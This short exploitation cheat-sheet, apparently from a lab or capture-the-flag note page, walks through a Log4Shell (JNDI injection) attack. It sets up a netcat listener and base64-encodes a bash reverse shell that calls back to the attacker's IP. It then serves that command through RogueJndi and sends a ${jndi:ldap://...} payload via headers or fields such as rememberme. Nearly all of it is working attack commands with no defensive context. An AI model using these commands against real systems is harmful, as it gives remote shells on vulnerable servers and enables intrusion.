Skip to main content - On own machine,
nc -lvnp 9001
- On own machine another terminal, run
ifconfig
and echo 'bash -c "bash -i >& /dev/tcp/IP/9001 0>&1"' | base64
- Under rogue-jndi,
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|{base64,-d}|{bash,-i}" --hostname "YOUR TUN0 IP ADDRESS"
- Send (can sometimes be in tricky places like rememberme or headers, read the cve):
${jndi:ldap://xx:1389/tomcat}